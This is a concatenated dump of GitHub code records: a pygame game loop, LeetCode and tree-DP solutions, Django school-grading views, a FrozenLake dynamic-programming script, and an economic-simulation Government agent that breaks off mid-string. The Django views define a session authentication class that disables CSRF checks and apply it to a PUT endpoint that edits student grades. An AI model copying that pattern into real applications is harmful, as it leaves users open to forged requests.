len(player_hits) > 0:\n pg.event.post(pg.event.Event(utils.END_EVENT))\n # calculate bullets&enemies hits\n bullets_hits = pg.sprite.groupcollide(all_enemies, all_bullets, False, False)\n for hit in bullets_hits: # {\"enemy1\":[\"bullet1\",\"bullet2\"]}\n for bullet in bullets_hits[hit]:\n if bullet.type.kind == utils.BLT_AMMO:\n bullet.kill()\n hit.health -= bullet.type.damage\n score += bullet.type.damage\n hit.hp_change = True\n if hit.health <= 0:\n if hit.type.boss:\n pg.event.post(pg.event.Event(utils.WIN_EVENT))\n msc = utils.load_music(\"music/shoot.mp3\")\n msc.set_volume(0.1)\n msc.play()\n hit.kill()\n animation = sprites.Animation(hit.rect.centerx, hit.rect.centery,\n [\"explosion/1.png\", \"explosion/2.png\", \"explosion/3.png\"],\n width=hit.rect.width, height=hit.rect.width)\n all_sprites.add(animation)\n buff_type = hit.buff_type\n if buff_type:\n buff = sprites.Buff(hit.rect.centerx, hit.rect.centery, type=buff_type)\n all_buffs.add(buff)\n all_sprites.add(buff)\n break\n # calculate player&buffs hits\n buff_hits = pg.sprite.groupcollide(all_buffs, all_players, True, False)\n for buff in buff_hits:\n player.add_buff(buff)\n # refresh screen and draw all_sprites\n screen.blit(background, (0, 0))\n time_text = pg.font.Font(None, 36).render(\"Time: \" + utils.format_number(ticker // 1000), True, (255, 255, 255))\n # table = Table(screen, [\"Rank\", \"Name\", \"Score\"], [(1, \"ljy\", 100), (2, \"ljy\", 100), (3, \"ljy\", 100)])\n # table.draw()\n score_text = pg.font.Font(None, 36).render(\"Score: \" + utils.format_number(score), True, (255, 255, 255))\n screen.blit(time_text, (10, 10))\n screen.blit(score_text, (10, 50))\n all_sprites.draw(screen)\n\n pg.display.flip()\n\npg.quit()\n","repo_name":"jiayang-16/6803group7","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14042,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"43149987274","text":"# Your friend is typing his name into a keyboard. Sometimes, when typing a character c, the key might get long\n# pressed, and the character will be typed 1 or more times.\n#\n# You examine the typed characters of the keyboard. Return True if it is possible that it was your friends name,\n# with some characters (possibly none) being long pressed.\n#\nclass Solution:\n def isLongPressedName(self, name: str, typed: str) -> bool:\n i = 0\n j = 0\n c = name[0]\n while i < len(name) and j < len(typed):\n if name[i] != typed[j]:\n return False\n c_i = i\n c_j = j\n while i < len(name) and name[i] == c:\n i += 1\n while j < len(typed) and typed[j] == c:\n j += 1\n if i - c_i > j - c_j:\n return False\n if i < len(name):\n c = name[i]\n\n if i < len(name) or j < len(typed):\n return False\n return True\n\n\nif __name__ == '__main__':\n s = Solution()\n print(s.isLongPressedName(\"alex\",\n \"alexxr\"))\n","repo_name":"TTVidi/leetcode-python","sub_path":"src/leetcode/mock2/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38718989607","text":"from django.shortcuts import render, HttpResponseRedirect\nfrom django.urls import reverse\n\nimport datetime\n\n\nfrom App_Login.models import Profile\nfrom App_Mark.models import Grade\nfrom App_Teacher.models import Teacher\n\n\nfrom rest_framework.authentication import SessionAuthentication, BasicAuthentication\nfrom .serializers import SubmitGrade\n\n\nfrom rest_framework.views import APIView\nfrom rest_framework import status, generics\nfrom rest_framework.response import Response\nfrom django.http import Http404\n\n\n# Create your views here.\ndef grade(request):\n session = datetime.datetime.today()\n session = session.year\n\n teacher = Teacher.objects.filter(user=request.user)\n if teacher.exists():\n admin = \"teacher\"\n teacher = teacher[0]\n\n if request.method == 'GET':\n select_class = request.GET.get(\"select_class\", \"\")\n select_course = request.GET.get(\"select_course\", \"\")\n if select_class:\n if select_course:\n select_class = int(float(select_class))\n grade = Grade.objects.filter(class_no=select_class, subject=select_course, session=session)\n profile_obj_len = Profile.objects.filter(select_class=select_class, session=session, admitted=True)\n if profile_obj_len:\n profile_len = len(profile_obj_len)\n # print(profile_len)\n if grade.exists():\n grade_len = len(grade)\n if grade_len < profile_len:\n for x in profile_obj_len:\n individual_grade = Grade.objects.filter(\n user=x.user,\n class_no=select_class,\n full_name=x.full_name,\n subject=select_course,\n roll=x.roll,\n session=session\n )\n if individual_grade:\n print(individual_grade)\n pass\n else:\n grade_obj = Grade.objects.create(\n user=x.user,\n class_no=select_class,\n full_name=x.full_name,\n subject=select_course,\n roll=x.roll,\n session=session\n )\n grade_obj.save()\n return HttpResponseRedirect(reverse('App_Mark:input_marks', kwargs={'class_no':select_class, 'subject':select_course}))\n else:\n return HttpResponseRedirect(reverse('App_Mark:input_marks', kwargs={'class_no':select_class, 'subject':select_course}))\n else:\n # profile_obj_len = Profile.objects.filter(select_class=select_class, session=session, admitted=True)\n for x in profile_obj_len:\n grade_obj = Grade.objects.create(\n user=x.user,\n class_no=select_class,\n full_name=x.full_name,\n subject=select_course,\n roll=x.roll,\n session=session\n )\n grade_obj.save()\n return HttpResponseRedirect(reverse('App_Mark:input_marks', kwargs={'class_no':select_class, 'subject':select_course}))\n return render(request, 'App_Mark/select_class.html', context={'admin':admin, 'teacher':teacher})\n\n\n\ndef input_marks(request, class_no, subject):\n session = datetime.datetime.today()\n session = session.year\n\n teacher = Teacher.objects.filter(user=request.user)\n if teacher.exists():\n admin = \"teacher\"\n teacher = teacher[0]\n \n grade = Grade.objects.filter(class_no=class_no, subject=subject, session=session)\n return render(request, 'App_Mark/input_marks.html', context={'admin':admin, 'teacher':teacher, 'grade':grade, 'class_no':class_no, 'subject':subject})\n\n\n\nclass CsrfExemptSessionAuthentication(SessionAuthentication):\n def enforce_csrf(self, request):\n return # To not perform the csrf check previously happening\n\n\n\nclass StudentGrades(generics.ListCreateAPIView):\n queryset = Grade.objects.all()\n serializer_class = SubmitGrade\n\n\nclass StudentGrades1(APIView):\n authentication_classes = (CsrfExemptSessionAuthentication, BasicAuthentication)\n \n def put(self, request, user, format=None):\n all_data = request.data\n subject = all_data['subject']\n grade = Grade.objects.get(user=user, subject=subject)\n serializer = SubmitGrade(grade, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n \n ","repo_name":"Hadayetullah/School_Management_System","sub_path":"App_Mark/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42790557464","text":"from gui import MainWindow\n\n\nclass Application:\n \"\"\"\n Application class to run GUI and rest of code\n \"\"\"\n def __init__(self):\n w = MainWindow()\n w.title(\"Welcome to Abalone\")\n w.geometry('1150x800')\n w.configure(bg='#FFFAF0')\n w.mainloop()\n\n\ndef main():\n app = Application()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"brihui/AbaloneAI","sub_path":"src/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21585454177","text":"# ask the user for a word to look for\n# expect the word to be in lowercase\nquery = input(\"Word to look for: \")\n\n# set a variable to track if the query is found; false by default\nis_query_found = False\n# open the file\nwith open(\"book.txt\") as file:\n # loop through each line\n for line in file:\n # convert the line to lowercase\n line = line.lower()\n # split the line to a list separated on space to ensure we don't match inner parts of words\n line = line.split()\n # check if the line contains the query\n if query in line:\n # set query found to true\n is_query_found = True\n # break out of the loop because we no longer need to do any more checking\n break\n\n# check if the query was found and print the corresponding message\nif is_query_found:\n # equivalent to is_query_found == True\n print(f\"{query} was found in the book.\")\nelse:\n print(f\"{query} was not found in the book.\")\n","repo_name":"ByronStewart/Grok-Solutions","sub_path":"intro_to_python_2/3/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"45241373426","text":"import numpy as np\nimport gym\nimport argparse\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as ticker\n#from HW01Q01 import plot_line_variance\n\nSEED = None\nGAMMA = 0.9\nTOL = 1e-6\nRUNS = 5\nTRAINING_EPISODES = 5\nTESTING_EPISODES = 5\nTEST_EVERY = 10\nENV = 'FrozenLake-v0'\nMAX_STEPS = 200\n\n# #############################################################################\n#\n# Parser\n#\n# #############################################################################\n\n\ndef get_arguments():\n def _str_to_bool(s):\n '''Convert string to boolean (in argparse context)'''\n if s.lower() not in ['true', 'false']:\n raise ValueError('Argument needs to be a '\n 'boolean, got {}'.format(s))\n return {'true': True, 'false': False}[s.lower()]\n\n parser = argparse.ArgumentParser(\n description='Applying dynamic programming '\n 'to a discrete gym environment.')\n parser.add_argument('--seed', type=int, default=SEED,\n help='Seed for the random number generator.')\n parser.add_argument('--env', type=str, default=ENV,\n help=\"The environment to be used. Environment must \"\n \"have discrete actions and states. Common choices \"\n \"are: 'FrozenLake8x8-v0','Taxi-v3', etc. Default:\"\n + ENV)\n parser.add_argument('--gamma', type=float, default=GAMMA,\n help='Defines the discount rate. Default: '\n + str(GAMMA))\n parser.add_argument('--tol', type=float, default=TOL,\n help='Defines the tolerance for convergence of the '\n 'algorithms. Default: ' + str(TOL))\n parser.add_argument('--value_iteration', action=\"store_true\",\n help='If this flag is set, value iteration will be '\n 'used. If the flag is missing, policy iteration '\n 'will be used by default.')\n parser.add_argument('--render_policy', action=\"store_true\",\n help='If this flag is set, the optimal policy will '\n 'be applied to one episode of the environment and '\n 'will present the results.')\n parser.add_argument('-v', '--verbose', action=\"store_true\",\n help='If this flag is set, the algorithm will generate '\n 'more output, useful for debugging.')\n parser.add_argument('-n', '--runs', type=int, default=RUNS,\n help='Number of runs to be executed. Default: '\n + str(RUNS))\n parser.add_argument('--training_episodes', type=int,\n default=TRAINING_EPISODES,\n help='Number of training episodes to be executed.'\n 'Default: ' + str(TRAINING_EPISODES))\n parser.add_argument('--testing_episodes', type=int, default=TESTING_EPISODES,\n help='Number of testing episodes to be executed.'\n 'Default: ' + str(TESTING_EPISODES))\n parser.add_argument('--test_every', type=int, default=TEST_EVERY,\n help='Number of training iterations to execute before '\n 'each test. Default: ' + str(TEST_EVERY))\n parser.add_argument('--max_steps', type=int, default=MAX_STEPS,\n help='Number of maximum steps allowed in a single '\n 'episode. Default: ' + str(MAX_STEPS))\n\n return parser.parse_args()\n\n\n# #############################################################################\n#\n# Plotting\n#\n# #############################################################################\n\n\ndef plot2(title, cumulative_reward_3d, timesteps_3d):\n '''Creates the two required plots: cumulative_reward and number of timesteps\n per episode.'''\n\n fig, axs = plt.subplots(nrows=1, ncols=2,\n constrained_layout=True,\n figsize=(10, 3))\n\n fig.suptitle(title, fontsize=12)\n\n\n # rewards\n cumulative_reward_2d = np.ma.mean(cumulative_reward_3d, axis=2)\n # cumulative_reward_1d = np.array(np.max(np.max(cumulative_reward_3d, axis=2),axis=0))\n plot_line_variance(axs[0], cumulative_reward_2d)\n plot_min_max(axs[0], cumulative_reward_2d)\n axs[0].set_title('Cumulative reward')\n axs[0].set_xlabel('Iteration #')\n\n\n # timesteps\n timesteps_2d = np.ma.mean(timesteps_3d, axis=2)\n # timesteps_1d = np.array(np.min(np.min(timesteps_3d, axis=2), axis=0))\n plot_line_variance(axs[1], timesteps_2d)\n plot_min_max(axs[1], timesteps_2d)\n axs[1].set_title('Timesteps per episode')\n axs[1].set_xlabel('Iteration #')\n\n plt.show()\n\n\ndef plot_line_variance(ax, data, delta=1):\n '''Plots the average data for each time step and draws a cloud\n of the standard deviation around the average.\n\n ax: axis object where the plot will be drawn\n data: data of shape (num_trials, timesteps)\n delta: (optional) scaling of the standard deviation around the average\n if ommitted, delta = 1.'''\n\n avg = np.ma.average(data, axis=0)\n std = np.ma.std(data, axis=0)\n\n # ax.plot(avg + delta * std, 'r--', linewidth=0.5)\n # ax.plot(avg - delta * std, 'r--', linewidth=0.5)\n ax.fill_between(range(len(avg)),\n avg + delta * std,\n avg - delta * std,\n facecolor='red',\n alpha=0.2)\n ax.plot(avg)\n\n\ndef plot_min_max(ax, data):\n '''Plots the average data for each time step and draws a cloud\n of the standard deviation around the average.\n\n ax: axis object where the plot will be drawn\n data: data of shape (num_trials, timesteps)\n delta: (optional) scaling of the standard deviation around the average\n if ommitted, delta = 1.'''\n\n min = np.ma.min(data, axis=0)\n max = np.ma.max(data, axis=0)\n\n ax.plot(min, 'r--', linewidth=0.5)\n ax.plot(max, 'r--', linewidth=0.5)\n\n# #############################################################################\n#\n# Policy\n#\n# #############################################################################\n\n\nclass Policy():\n def __init__(self, env, gamma=1, bVerbose=False, tol=1e-6):\n self.env = env\n self.gamma = gamma\n self.bVerbose = bVerbose\n self.tol = tol\n\n self.counter = 0\n\n if not isinstance(env.observation_space, gym.spaces.Discrete):\n raise NotImplementedError\n\n self.V = np.zeros(env.observation_space.n)\n self.pi = np.zeros(env.observation_space.n, dtype=int)\n\n self.env.reset()\n\n for s in range(env.observation_space.n):\n self.pi[s] = env.action_space.sample()\n\n def eval(self, bValueIteration=False):\n '''Evaluates the policy value for each state s in\n env.observation_space'''\n delta = np.infty\n i = 0\n\n self.counter += 1\n while delta > self.tol:\n delta = 0\n i += 1\n for s in range(self.env.observation_space.n):\n V_old = self.V[s]\n self.V[s] = self._getvalue(s, self.pi[s])\n delta = max(delta, np.abs(V_old - self.V[s]))\n print('Policy evaluation #{} completed in {} steps.'.format(self.counter, i))\n if self.bVerbose:\n print('V: {}\\n'.format(self.V))\n self.iterate()\n\n return self.V, self.pi, \\\n self.trn_rewards, self.trn_steps, \\\n self.tst_rewards, self.tst_steps\n\n def iterate(self):\n '''Iterates policy evaluation to find an optimal policy and\n optimal value. The algorithm keeps updating the policy until\n it finds a stable policy that cannot be further improved (according\n to the defined tolerance).\n\n list of outputs:\n V: optimal value of the policy for each state s in\n env.observation_space\n pi: the optimal action for each state s'''\n\n stable = True\n for s in range(self.env.observation_space.n):\n old_action = self.pi[s]\n\n values = []\n for action in range(self.env.action_space.n):\n values.append(self._getvalue(s, action))\n\n self.pi[s] = np.argmax(values)\n # self.pi[s] = np.argmax([self._getvalue(s, action) for action in range(self.env.action_space.n)])\n\n if self.bVerbose:\n print('state {} : {}'.format(s, values))\n\n if old_action != self.pi[s]:\n stable = False\n\n if self.bVerbose:\n print('pi: {}'.format(self.pi))\n\n # get training results\n reward, num_steps = self.test(args.training_episodes)\n self.trn_rewards.append(reward)\n self.trn_steps.append(num_steps)\n\n # run tests\n if self.counter % args.test_every == 0:\n reward, num_steps = self.test(args.testing_episodes)\n self.tst_rewards.append(reward)\n self.tst_steps.append(num_steps)\n\n if not stable:\n self.eval()\n\n def value_iteration(self):\n '''Returns an estimation of the optimal policy by performing\n only one sweep (one update of each state) of policy evaluation.\n\n output:\n V[s] : the optimal value of each state\n pi[s] : the optimal action for each state\n trn_rewards : a list of arrays of rewards. The arrays have\n shape (training_episodes). The list has undetermined\n length (depending on the number of iterations)\n trn_steps : a list of arrays with number of steps. The arrays have\n shape (training_episodes). The list has undetermined\n length (depending on the number of iterations)\n tst_rewards : a list of arrays of rewards. The arrays have\n shape (testing_episodes). The list has undetermined\n length (depending on the number of iterations)\n tst_steps : a list of arrays with number of steps. The arrays have\n shape (testing_episodes). The list has undetermined\n length (depending on the number of iterations)'''\n\n training_episodes = args.training_episodes\n testing_episodes = args.testing_episodes\n test_every = args.test_every\n\n delta = np.infty\n i = 0\n\n trn_rewards = []\n trn_steps = []\n\n tst_rewards = []\n tst_steps = []\n\n while delta > self.tol:\n delta = 0\n i += 1\n for s in range(self.env.observation_space.n):\n V_old = self.V[s]\n\n # self.V[s] = np.max([self._getvalue(s, action) for action in range(self.env.action_space.n)])\n values = []\n for action in range(self.env.action_space.n):\n values.append(self._getvalue(s, action))\n\n self.V[s] = np.max(values)\n\n if self.bVerbose:\n print('state {} : {}'.format(s, values))\n\n delta = max(delta, np.abs(V_old - self.V[s]))\n\n if self.bVerbose:\n print('Step: {} V: {}'.format(i, self.V))\n\n # get training results\n for s in range(self.env.observation_space.n):\n self.pi[s] = np.argmax(\n [self._getvalue(s, action) for action in range(self.env.action_space.n)])\n reward, num_steps = self.test(training_episodes)\n trn_rewards.append(reward)\n trn_steps.append(num_steps)\n\n # run tests\n if i % test_every == 0:\n for s in range(self.env.observation_space.n):\n self.pi[s] = np.argmax(\n [self._getvalue(s, action) for action in range(self.env.action_space.n)])\n\n reward, num_steps = self.test(testing_episodes)\n tst_rewards.append(reward)\n tst_steps.append(num_steps)\n\n for s in range(self.env.observation_space.n):\n self.pi[s] = np.argmax([self._getvalue(s, action) for action in range(self.env.action_space.n)])\n\n # test again in the end one last time\n reward, num_steps = self.test(testing_episodes)\n tst_rewards.append(reward)\n tst_steps.append(num_steps)\n\n print('***** Finished value iteration in {} steps.'.format(i))\n\n return self.V, self.pi, trn_rewards, trn_steps, tst_rewards, tst_steps\n\n def test(self, num_episodes=5, render=False):\n '''Tests the current policy a certain number\n of times specified by num_episodes. Each episode\n will abort if max_steps is exceeded.\n\n Input:\n num_episodes: number of episodes to be executed\n render: if true, rendering of the environment\n will show the results of the applied policy\n\n Output:\n cumulative_reward: array of shape (num_episodes) containing the\n cumulative reward generated by the policy\n num_steps: array of shape (num_episodes) containing the\n number of steps required for completing each\n episode with a win. If episode finishes with\n a loss or if max_steps is exceeded, then\n max_steps will be used.'''\n\n max_steps = args.max_steps\n cumulative_reward = np.zeros(num_episodes)\n num_steps = np.zeros(num_episodes)\n\n for episode in range(num_episodes):\n num_steps[episode] = 0\n self.env.seed()\n observation = self.env.reset()\n\n if render:\n print('=' * 80)\n print('Episode {}'.format(episode))\n print('=' * 80)\n self.env.render()\n\n done = False\n\n # initial discount factor\n power_gamma = 1\n\n while not done and num_steps[episode] < max_steps:\n num_steps[episode] += 1\n action = self.pi[observation]\n observation, reward, done, info = self.env.step(action)\n cumulative_reward[episode] += reward * power_gamma\n # cumulate discount factor\n power_gamma = power_gamma * self.gamma\n\n if render:\n print('Step {}: reward {}, cumulative reward: {}'.format(\n num_steps[episode],\n reward,\n cumulative_reward[episode]))\n print('-' * 80)\n self.env.render()\n\n # if episode finished without a win\n if done and reward <= 0:\n num_steps[episode] = max_steps\n\n # return np.mean(cumulative_reward), np.nanmean(num_steps)\n return cumulative_reward, num_steps\n\n def _getvalue(self, state, action):\n '''For a given state and action, returns the value of that\n state according to the current policy iteration.'''\n\n # for a given state and action, P[state][action] returns a list of\n # tuples in the form (p, s1, r, b) containing respectively the\n # probability, state, return and boolean for all possible states s1\n # originating from s. The boolean determines if the state s1 is\n # terminal or not.\n p, s1, r, _ = zip(*self.env.P[state][action])\n\n # convert tuples to arrays\n p = np.array(p)\n s1 = np.array(s1, dtype=int)\n r = np.array(r)\n # b = np.array(b, dtype=bool)\n\n return np.sum(p * (r + self.gamma * self.V[s1]))\n\n\ndef render_policy(env, pi, num_episodes=20, max_steps=100):\n\n for episode in range(num_episodes):\n cumulative_reward = 0\n i = 0\n print('=' * 80)\n print('Episode {}'.format(episode))\n print('=' * 80)\n env.render()\n observation = env.reset()\n # for t in range(max_steps):\n done = False\n while not done:\n i += 1\n action = pi[observation]\n observation, reward, done, info = env.step(action)\n cumulative_reward += reward\n print('Step {}: reward {}, cumulative reward: {}'.format(i, reward, cumulative_reward))\n print('-' * 80)\n env.render()\n\n# #############################################################################\n#\n# Main\n#\n# #############################################################################\n\n\ndef run(n_runs, policy, bValueIteration=False):\n lst_trn_rewards = []\n lst_trn_steps = []\n lst_tst_rewards = []\n lst_tst_steps = []\n\n max_len_trn_r = 0\n max_len_trn_s = 0\n max_len_tst_r = 0\n max_len_tst_s = 0\n\n env = policy.env\n gamma = policy.gamma\n bVerbose = policy.bVerbose\n tol = policy.tol\n\n for run in range(n_runs):\n np.random.seed(np.random.randint(0, 2**32 - 1))\n policy.__init__(env, gamma, bVerbose, tol)\n print('Run {}:'.format(run + 1))\n\n V, pi, trn_reward, trn_numsteps, tst_reward, tst_numsteps = one_run(policy)\n lst_trn_rewards.append(trn_reward)\n lst_trn_steps.append(trn_numsteps)\n lst_tst_rewards.append(tst_reward)\n lst_tst_steps.append(tst_numsteps)\n\n max_len_trn_r = max(max_len_trn_r, len(trn_reward))\n max_len_trn_s = max(max_len_trn_s, len(trn_numsteps))\n max_len_tst_r = max(max_len_tst_r, len(tst_reward))\n max_len_tst_s = max(max_len_tst_s, len(tst_numsteps))\n\n trn_rewards = fill_ma(lst_trn_rewards, (n_runs, max_len_trn_r, args.training_episodes))\n trn_steps = fill_ma(lst_trn_steps, (n_runs, max_len_trn_s, args.training_episodes))\n tst_rewards = fill_ma(lst_tst_rewards, (n_runs, max_len_tst_r, args.testing_episodes))\n tst_steps = fill_ma(lst_tst_steps, (n_runs, max_len_tst_s, args.testing_episodes))\n\n plot2('Traning plots', trn_rewards, trn_steps)\n plot2('Test plots', tst_rewards, tst_steps)\n\n\ndef fill_ma(lst, shape):\n '''Creates a masked array to deal with runs of different lengths.\n Each run may have a different number of iterations. Masked arrays\n allow calculating averages and standard deviation among missing\n elements.\n\n Input:\n lst : list of lists. For each run, the list has one element\n which is itself a list with elements equal to the number\n of iterations in the run. Each element of that second list\n is an array of length equal to the number of episodes in\n the iteration.\n shape : tuple of (number of runs, number of maximum iterations,\n number of episodes)\n\n Output:\n ma : masked array of shape (shape)'''\n\n ma = np.ma.empty(shape)\n ma.mask = True\n\n # for each run\n for i in range(shape[0]):\n # for each iteration\n for j in range(len(lst[i])):\n # each episode is equal to the episode results\n ma[i, j, :shape[2]] = lst[i][j]\n\n return ma\n\n\ndef one_run(policy):\n '''Executes one run of the policy (either policy or value\n iteration).\n\n Input:\n policy : the policy to be used\n\n Output:\n V[s] : the optimal value of each state\n pi[s] : the optimal action for each state\n trn_rewards : a list of arrays of rewards. The arrays have\n shape (training_episodes). The list has undetermined\n length (depending on the number of iterations)\n trn_steps : a list of arrays with number of steps. The arrays have\n shape (training_episodes). The list has undetermined\n length (depending on the number of iterations)\n tst_rewards : a list of arrays of rewards. The arrays have\n shape (testing_episodes). The list has undetermined\n length (depending on the number of iterations)\n tst_steps : a list of arrays with number of steps. The arrays have\n shape (testing_episodes). The list has undetermined\n length (depending on the number of iterations)'''\n\n bValueIteration = args.value_iteration\n\n if bValueIteration:\n V, pi, trn_reward, trn_numsteps, tst_reward, tst_numsteps = policy.value_iteration()\n else:\n policy.trn_rewards = []\n policy.trn_steps = []\n\n policy.tst_rewards = []\n policy.tst_steps = []\n\n V, pi, trn_reward, trn_numsteps, tst_reward, tst_numsteps = policy.eval()\n print('***** Policy iteration completed.')\n\n return V, pi, trn_reward, trn_numsteps, tst_reward, tst_numsteps\n\n\nargs = get_arguments()\n\n\ndef main():\n\n # sets the seed for random experiments\n np.random.seed(args.seed)\n\n # sets the environment\n env = gym.make(args.env)\n env.reset()\n\n pol = Policy(env,\n gamma=args.gamma,\n bVerbose=args.verbose,\n tol=args.tol)\n # if args.value_iteration:\n # V, pi = pol.value_iteration()\n\n # else:\n # V, pi = pol.eval()\n # print('V: {}\\n\\npi:{}'.format(V, pi))\n\n run(args.runs, pol, args.value_iteration)\n\n if args.render_policy:\n render_policy(env, pi, num_episodes=1)\n\n env.close()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"mbenitah/COMP767_HW01","sub_path":"HW01Q02.py","file_name":"HW01Q02.py","file_ext":"py","file_size_in_byte":21394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25541236366","text":"#uses python3\n#done\nimport sys\nimport threading\n\n# This code is used to avoid stack overflow issues\nsys.setrecursionlimit(10**6) # max depth of recursion\nthreading.stack_size(2**26) # new thread will get stack of such size\n\n\nclass Vertex:\n def __init__(self, weight):\n self.weight = weight\n self.children = []\n self.max=0\n\n\ndef ReadTree():\n size = int(input())\n\n\n tree = [Vertex(w) for w in map(int, input().split())]\n for i in range(1, size):\n a, b = list(map(int, input().split()))\n tree[a - 1].children.append(b - 1)\n tree[b - 1].children.append(a - 1)\n return tree\n\n\ndef dfs(tree, vertex, parent):\n for child in tree[vertex].children:\n if child != parent:\n dfs(tree, child, vertex)\n max1=tree[vertex].weight #this value is self+grand child\n max2=0 #this value is child\n for child in tree[vertex].children:\n if child!=parent:\n max2+=tree[child].max\n for grandchild in tree[child].children:\n if((grandchild!=child ) &(grandchild!=parent)):\n max1+=tree[grandchild].max\n tree[vertex].max=max(max1,max2)\n \n\n \n\n\ndef MaxWeightIndependentTreeSubset(tree):\n\n size = len(tree)\n if size == 0:\n return 0\n dfs(tree, 0, -1)\n # You must decide what to return.\n return tree[0].max\n\n\ndef main():\n tree = ReadTree();\n weight = MaxWeightIndependentTreeSubset(tree);\n print(weight)\n\n\n# This is to avoid stack overflow issues\nthreading.Thread(target=main).start()","repo_name":"youyou6093/Data-Structure-and-Algorithm-Specialization","sub_path":"ucsd_dsa5/Programming-Assignment-4/plan_party/plan_party.py","file_name":"plan_party.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17087080227","text":"import random\nfrom cess import Agent\nfrom enum import IntEnum\nfrom cess.agent.learn import QLearner\nfrom .firms import ConsumerGoodFirm, CapitalEquipmentFirm, RawMaterialFirm, Hospital\n\nindustries = {\n 'consumer': ConsumerGoodFirm,\n 'equip': CapitalEquipmentFirm,\n 'material': RawMaterialFirm,\n 'hospital': Hospital\n}\n\n\nclass Government(Agent):\n def __init__(self, tax_rate, welfare, tax_rate_increment, welfare_increment, starting_welfare_req):\n self._state = {'cash': 0}\n self.tax_rate = tax_rate\n self.tax_rate_increment = tax_rate_increment\n self.welfare = welfare\n self.welfare_increment = welfare_increment\n self.welfare_req = starting_welfare_req\n self.subsidies = {\n ConsumerGoodFirm: 0,\n CapitalEquipmentFirm: 0,\n RawMaterialFirm: 0,\n Hospital: 0\n }\n self.altruism = 0\n\n # all states map to the same actions\n action_ids = [i for i in range(len(self.actions))]\n states_actions = {s: action_ids for s in range(3)}\n self.learner = QLearner(states_actions, self.reward, discount=0.5, explore=0.01, learning_rate=0.5)\n\n # keep track of previous step's quality of life for comparison\n self.prev_qol = 0\n\n @property\n def cash(self):\n return self._state['cash']\n\n @cash.setter\n def cash(self, value):\n self._state['cash'] = value\n\n @property\n def actions(self):\n \"\"\"these actions are possible from any state\"\"\"\n return [\n {'tax_rate': self.tax_rate_increment},\n {'tax_rate': -self.tax_rate_increment},\n {'tax_rate': self.tax_rate_increment, 'welfare': self.welfare_increment},\n {'tax_rate': self.tax_rate_increment, 'welfare': -self.welfare_increment},\n {'tax_rate': -self.tax_rate_increment, 'welfare': self.welfare_increment},\n {'tax_rate': -self.tax_rate_increment, 'welfare': -self.welfare_increment}\n ]\n\n def current_state(self, households):\n \"\"\"represent as a discrete state\"\"\"\n qol = sum(h.quality_of_life for h in households)/len(households) if households else 0\n\n if qol <= 0:\n return 0\n elif qol > 0 and qol - self.prev_qol <= 0:\n return 1\n elif qol > 0 and qol - self.prev_qol > 0:\n return 2\n\n def reward(self, state):\n \"\"\"the discrete states we map to are the reward values, so just return that\"\"\"\n return state\n\n def adjust(self, households):\n action = self.learner.choose_action(self.current_state(households))\n action = self.actions[action]\n self.tax_rate = min(1, max(0, self.tax_rate + action.get('tax_rate', 0)))\n max_per_person = self.cash/sum(len(h.people) for h in households if h.income <= self.welfare_req) if households else 0\n self.welfare = min(max(0, self.welfare + action.get('welfare', 0)), max_per_person)\n self.prev_qol = sum(h.quality_of_life for h in households)/len(households) if households else 0\n\n def apply_proposal(self, proposal, world):\n t = proposal['type']\n v = float(proposal['value']) if proposal.get('value') is not None else None\n if t == ProposalType.nationalize.name:\n industry = proposal['target']\n firm = random.choice(world.firms_of_type(industries[industry]))\n firm.change_owner(self)\n elif t == ProposalType.privatize.name:\n industry = proposal['target']\n firm = random.choice(world.firms_of_type(industries[industry]))\n\n # randomly pick new owner\n # we pick the person with the most money who does not already have a firm\n candidates = sorted([p for p in world.people if not p._state['firm_owner']], key=lambda p: p._state['cash'], reverse=True)\n new_owner = candidates[0]\n firm.change_owner(new_owner)\n elif t == ProposalType.tax_rate.name:\n self.tax_rate = v\n elif t == ProposalType.welfare.name:\n self.welfare = v\n elif t == ProposalType.welfare_req.name:\n self.welfare_req = v\n elif t == ProposalType.subsidy.name:\n self.subsidies[industries[proposal['target']]] = v\n\n def proposal_options(self, world):\n options = [{\n 'type': ProposalType.tax_rate.name,\n 'name': 'adjust tax rate',\n 'description': 'Adjust the tax rate for all income and corporate profits',\n 'values': [0, 1],\n 'targets': None,\n 'value': self.tax_rate\n }, {\n 'type': ProposalType.welfare.name,\n 'name': 'adjust welfare',\n 'description': 'Set the amount of cash distributed to every citizen who makes less than the welfare requirement',\n 'values': [0, None],\n 'targets': None,\n 'value': self.welfare\n }, {\n 'type': ProposalType.welfare_req.name,\n 'name': 'adjust welfare income threshold',\n 'description': 'Citizens who make less than this income will receive welfare',\n 'values': [0, None],\n 'targets': None,\n 'value': self.welfare_req\n }, {\n 'type': ProposalType.subsidy.name,\n 'name': 'adjust industry subsidy',\n 'description': 'Set the amount of cash government gives a particular industry',\n 'values': [0, None],\n 'targets': list(industries.keys()),\n 'value': None\n }]\n\n private_industries = self.filter_industries(world, public=False)\n public_industries = self.filter_industries(world, public=True)\n if public_industries:\n options.append({\n 'type': ProposalType.privatize.name,\n 'name': 'privatize a public firm',\n 'description': 'Release a national firm into private management',\n 'values': None,\n 'targets': public_industries,\n 'value': None\n })\n if private_industries:\n options.append({\n 'type': ProposalType.nationalize.name,\n 'name': 'nationalize a private firm',\n 'description': 'Put a private firm into the control of the 